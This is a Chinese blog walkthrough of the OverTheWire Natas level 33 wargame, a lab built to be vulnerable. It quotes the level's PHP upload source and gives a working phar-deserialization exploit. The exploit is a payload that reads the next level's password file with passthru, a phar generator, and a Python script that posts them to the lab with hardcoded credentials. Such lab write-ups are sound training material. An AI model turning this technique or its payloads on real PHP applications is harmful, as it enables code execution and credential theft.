首页 > 其他分享 >OverTheWire攻关过程-Natas模块33

OverTheWire攻关过程-Natas模块33

时间:2023-08-20 10:03:15浏览次数:39  
标签:33 Natas phar auth filename php data payload OverTheWire


我们打开关卡lv33,登陆查看信息


OverTheWire攻关过程-Natas模块33_php


是一个上传文件的页面

应该是做了很多过滤


OverTheWire攻关过程-Natas模块33_Apache_02


查看源码


// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
    private $filename=""; 		//三个私有参数
    private $signature='adeafbadbabec0dedabada55ba55d00d';
    private $init=False;

    function __construct(){		//类创建时调用
        $this->filename=$_POST["filename"];
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {	//限制文件大小
            echo "File is too big<br>";
        }
        else {														//将文件移动到/natas33/upload/目录下
            if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
                echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                echo "Firmware upgrad initialised.<br>";
            }
            else{
                echo "There was an error uploading the file, please try again!<br>";
            }
        }
    }

    function __destruct(){		//类销毁时调用
        // upgrade firmware at the end of this script

        // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
        if(getcwd() === "/") chdir("/natas33/uploads/");	//getchwd() 函数返回当前工作目录。chdir() 函数改变当前的目录。
        if(md5_file($this->filename) == $this->signature){	//md5_file() 函数计算文件的 MD5 散列。
            echo "Congratulations! Running firmware update: $this->filename <br>";
            passthru("php " . $this->filename); //执行外部命令
        }
        else{
            echo "Failur! MD5sum mismatch!<br>";
        }
    }
}

session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
    new Executor();
}


查询大神的思路


OverTheWire攻关过程-Natas模块33_上传_03


思路是反序列化漏洞


OverTheWire攻关过程-Natas模块33_Apache_04


按照思路

test.php


<?php echo shell_exec('cat /etc/natas_webpass/natas34'); ?>


OverTheWire攻关过程-Natas模块33_上传_05


打开bp拦截


OverTheWire攻关过程-Natas模块33_php_06


1、我们先上传查看密码的php文件


OverTheWire攻关过程-Natas模块33_Apache_07


上传test.php


OverTheWire攻关过程-Natas模块33_上传_08


点击上传


OverTheWire攻关过程-Natas模块33_php_09


修改名字


OverTheWire攻关过程-Natas模块33_上传_10


主要是与phar文件相对应


OverTheWire攻关过程-Natas模块33_php_11


提示md5的值不对

2、我们再上传phar文件


OverTheWire攻关过程-Natas模块33_上传_12


拦截

修改名字


OverTheWire攻关过程-Natas模块33_php_13


修改名字方便执行


OverTheWire攻关过程-Natas模块33_php_14


成功上传


OverTheWire攻关过程-Natas模块33_Apache_15


我们执行


OverTheWire攻关过程-Natas模块33_Apache_16


重新上传一遍

只是修改下名字


OverTheWire攻关过程-Natas模块33_php_17


出现报错


OverTheWire攻关过程-Natas模块33_上传_18


名字错了


我们重新来一遍

使用python脚本


natas33solution.py


import subprocess
import re
import requests
from requests.auth import HTTPBasicAuth

def get_pass():
    
    auth = HTTPBasicAuth('natas33', 'APwWDD3fRAf6226sgBOBaSptGwvXwQhG')
    phar_payload = {'uploadedfile': open('exploit.phar', 'rb')}    
    php_payload = {'uploadedfile': open('payload.php', 'rb')}
    final_payload = {'uploadedfile': open('exploit.phar', 'rb')}    
    #Filename assignments for each payload
    phar_data = {'filename':'taldgan.phar'}
    php_data = {'filename':'taldgan.php'}
    final_data = {'filename':'phar://taldgan.phar'}

    #Need to make 3 request: 1 to upload the php payload, 1 to upload the phar, and 1 to read the phar with phar://taldgan.phar as the filename
    requests.post('http://natas33.natas.labs.overthewire.org/', auth=auth, files=phar_payload, data=phar_data)  
    requests.post('http://natas33.natas.labs.overthewire.org/', auth=auth, files=php_payload, data=php_data)  
    r = requests.post('http://natas33.natas.labs.overthewire.org/', auth=auth, files=final_payload, data=final_data)  
    passreg = '[a-zA-Z0-9]{32}'
    print(re.findall(passreg, r.text)[0])

if __name__ == "__main__":
    get_pass()


附属的文件为


gen_phar_payload.php


<?php
            // graz XeR, the first to solve it! thanks for the feedback!
            // ~morla
            class Executor{
		private $filename='taldgan.php';
                private $signature='6ae14bb82be23c2cbd46a47366cf08c0';
            }
	$phar = new Phar('exploit.phar');
	$phar->startBuffering();
	$phar->addFromString("payload.php", "payload");
	$phar->setStub('<?php __HALT_COMPILER(); ? >');

	$object = new Executor();
	$phar->setMetadata($object);
	$phar->stopBuffering();
?>


md5payload


<?php
	print md5_file($argv[1]) . "\n";
?>


payload.php


<?php passthru('cat /etc/natas_webpass/natas34'); ?>


我们使用vscode跑

等待结果



OverTheWire攻关过程-Natas模块33_上传_19


由于natas34打不开,无法验证密码。

等网络好一点,再试一试


标签:33,Natas,phar,auth,filename,php,data,payload,OverTheWire
From: https://blog.51cto.com/apple0/7157814

相关文章

  • 读发布!设计与部署稳定的分布式系统(第2版)笔记33_混沌工程
    1. 康威定律1.1. 梅尔文·康威1.1.1. MelvinConway1.1.2. 1968年1.1.3. 在设计系统时,组织受制于其自身的沟通结构,这使得它设计的系统结构与沟通结构相一致。1.1.3.1. 社会学现象1.2. 要在系统内部或系统之间构建接口,两个人必须以某种方式沟通有关该接口的规范1.2.......
  • Luogu P3369 【模板】普通平衡树 01Tire树解法
    题目传送门闲话:Luogu总共105篇题解中只有4篇01Tire树解法,虽说是非正解但未免也太少了些(貌似也不少?)……总之01Tire树的效率并不低,这道题用01Tire是很轻松的。Q:这题为什么可以用01Tire树解?能否解决一个问题,无非于三个点:可行性,空间,时间。本题要求维护一个有序数集,能进行元素修改......
  • RK3399驱动开发 | 01 -RK3399 gpio的使用(用户态和设备树两种方式)
    一、RK3399的GPIO  RK3399有5组GPIO,GPIO0-GPIO4,每一组GPIO成为一个GPIObank,每组GPIO包含32个引脚,需要注意,不是所有bank都有全部编号,例如GPIO4就只有C0-C7,D0-D2,所以一共有122个可用GPIO二、计算GPIO编号Friendly的开发板上板载一个状态LED,如下: 该LED接在GPIO0_B5......
  • 花费400元,我DIY了一台全志A133平板电脑
    项目作者:flyn简介:DIY爱好者,在立创开源平台开源了个人的DIY项目4G手机MiniPhone以及焊接工具焊台、恒温加热台和多功能控制台。这是一款基于全志A133处理器DIY的平板电脑,可运行android和linux系统。平板搭载一块7寸1024X600分辨率的触摸液晶屏以及3000mAh的电池,且内置双频wifi6/B......
  • 黑魂233 导演动画和代码联动
    给Director物体新建一个脚本,TesterDirector 然后将Director插件放进pd变量里: 在代码里添加导演动画激活的按钮:只要按下T键,就会执行。前提是得先把PlayOnWake消钩。 然后再添加这几个代码,让导演动画可以重复播放: ......
  • arc133,arc134,arc135题解
    ARC133A-EAErasebyValue扣掉一个数当且仅当这个数后面有更小的数。特判单增即可。BDividingSubsequence相对比较有启发性。发现有倍数关系的数对只有\(O(n\logn)\)对,于是可以把对应下标攒成一堆二元组,于是一个合法的取数方案就变成了两个维度分别严格上升的元素集合......
  • 8-17|2023-08-16 12:33:55,972 [salt.master :1643][ERROR ][20321] Received
    该日志条目显示了来自于Saltminion(在这里标识为`[master]`,这可能是minion的名称或者是由于其他原因导致的日志格式)的错误,表示minion在执行一个函数时发生了异常。日志内容“`Theminionfunctioncausedanexception`”表示在minion端执行的特定Salt函数引发了一个错误或异常。......
  • 力扣---833. 字符串中的查找与替换
    你会得到一个字符串 s (索引从0开始),你必须对它执行 k 个替换操作。替换操作以三个长度均为 k 的并行数组给出:indices, sources,  targets。要完成第 i 个替换操作:检查 子字符串  sources[i] 是否出现在 原字符串 s 的索引 indices[i] 处。如果没有出......
  • VTK 实例33:图像重采样(降和升采样)
    1#include"vtkAutoInit.h"2VTK_MODULE_INIT(vtkRenderingOpenGL2);3VTK_MODULE_INIT(vtkInteractionStyle);45#include<vtkSmartPointer.h>6#include<vtkImageData.h>7#include<vtkRenderWindow.h>8#include......
  • 「题解注释」P3345 [ZJOI2015] 幻想乡战略游戏
    题解P3345【[ZJOI2015]幻想乡战略游戏】-Baka'sBlog-洛谷博客(luogu.org)耗时:半个下午代码注释:#include<bits/stdc++.h>typedeflonglongLL;inlineintrd(){ inta=1,b=0;charc=getchar(); while(!isdigit(c))a=c=='-'?0:1,c=getcha......